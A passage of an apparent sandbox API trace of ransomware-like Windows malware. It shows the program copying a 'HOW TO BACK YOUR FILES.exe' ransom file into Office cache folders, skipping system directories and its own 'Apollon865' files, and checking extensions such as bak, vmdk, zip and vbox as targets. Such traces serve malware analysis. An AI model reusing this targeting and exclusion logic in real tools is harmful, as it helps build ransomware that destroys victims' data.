	[0045.838] lstrcmpiW (lpString1="User", lpString2="perflogs") returned 1
	[0045.838] lstrcmpiW (lpString1="User", lpString2="MSBuild") returned 1
	[0045.838] lstrlenW (lpString="User") returned 4
	[0045.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System") returned 74
	[0045.838] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="User" | out: lpString1="User") returned="User"
	[0045.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0045.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994f0
	[0045.838] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0045.838] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0045.839] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.839] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0045.839] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User"
	[0045.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.839] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0045.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User") returned 72
	[0045.839] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User"
	[0045.839] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.839] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\user\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.842] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.842] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.843] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.843] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.843] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.843] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.843] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.843] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.843] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.843] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.843] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33657bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.843] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.843] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33657bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.843] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.843] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0045.843] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System"
	[0045.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System") returned 74
	[0045.843] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System"
	[0045.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\system\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.847] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.847] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.847] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.847] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.847] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.847] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33657bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.847] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.847] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.847] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.847] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.848] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33657bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.848] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.848] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33657bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33657bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.848] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.848] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0045.848] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0"
	[0045.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0045.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0045.848] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0") returned 65
	[0045.848] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0"
	[0045.848] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.854] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3367dd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3367dd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.854] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.854] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.854] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.854] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3367dd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3367dd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.854] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.854] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.854] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.854] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.854] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3367dd10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3367dd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.854] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.854] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2="Apollon865.txt.exe") returned 1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2=".") returned 1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2="..") returned 1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2="windows") returned -1
	[0045.854] lstrcmpiW (lpString1="OfficeFileCache", lpString2="bootmgr") returned 1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="temp") returned -1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="pagefile.sys") returned -1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="boot") returned 1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="ids.txt") returned 1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="ntuser.dat") returned 1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="perflogs") returned -1
	[0045.855] lstrcmpiW (lpString1="OfficeFileCache", lpString2="MSBuild") returned 1
	[0045.855] lstrlenW (lpString="OfficeFileCache") returned 15
	[0045.855] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*") returned 67
	[0045.855] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="OfficeFileCache" | out: lpString1="OfficeFileCache") returned="OfficeFileCache"
	[0045.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0045.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599450
	[0045.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0045.855] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
	[0045.855] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.855] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0045.855] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache"
	[0045.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0045.855] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache") returned 81
	[0045.855] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache"
	[0045.855] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.862] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x3367dd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3367dd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.862] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.862] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.862] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.862] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x3367dd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3367dd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.862] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.862] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.862] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.862] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.862] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="Apollon865.txt.exe") returned 1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2=".") returned 1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="..") returned 1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="windows") returned -1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="bootmgr") returned 1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="temp") returned -1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="pagefile.sys") returned -1
	[0045.862] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="boot") returned 1
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="ids.txt") returned -1
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="ntuser.dat") returned -1
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="perflogs") returned -1
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2="MSBuild") returned -1
	[0045.863] lstrlenW (lpString="FSD-CNRY.FSD") returned 12
	[0045.863] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*") returned 83
	[0045.863] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="FSD-CNRY.FSD" | out: lpString1="FSD-CNRY.FSD") returned="FSD-CNRY.FSD"
	[0045.863] lstrlenW (lpString="FSD-CNRY.FSD") returned 12
	[0045.863] lstrlenW (lpString="Apollon865") returned 10
	[0045.863] lstrcmpiW (lpString1="D-CNRY.FSD", lpString2="Apollon865") returned 1
	[0045.863] lstrlenW (lpString=".dll") returned 4
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2=".dll") returned 1
	[0045.863] lstrlenW (lpString=".lnk") returned 4
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2=".lnk") returned 1
	[0045.863] lstrlenW (lpString=".ini") returned 4
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2=".ini") returned 1
	[0045.863] lstrlenW (lpString=".sys") returned 4
	[0045.863] lstrcmpiW (lpString1="FSD-CNRY.FSD", lpString2=".sys") returned 1
	[0045.863] lstrlenW (lpString="FSD-CNRY.FSD") returned 12
	[0045.863] lstrlenW (lpString="bak") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="bak") returned 1
	[0045.863] lstrlenW (lpString="ba_") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="ba_") returned 1
	[0045.863] lstrlenW (lpString="dbb") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="dbb") returned 1
	[0045.863] lstrlenW (lpString="vmdk") returned 4
	[0045.863] lstrcmpiW (lpString1=".FSD", lpString2="vmdk") returned -1
	[0045.863] lstrlenW (lpString="rar") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="rar") returned -1
	[0045.863] lstrlenW (lpString="zip") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="zip") returned -1
	[0045.863] lstrlenW (lpString="tgz") returned 3
	[0045.863] lstrcmpiW (lpString1="FSD", lpString2="tgz") returned -1
	[0045.864] lstrlenW (lpString="vbox") returned 4
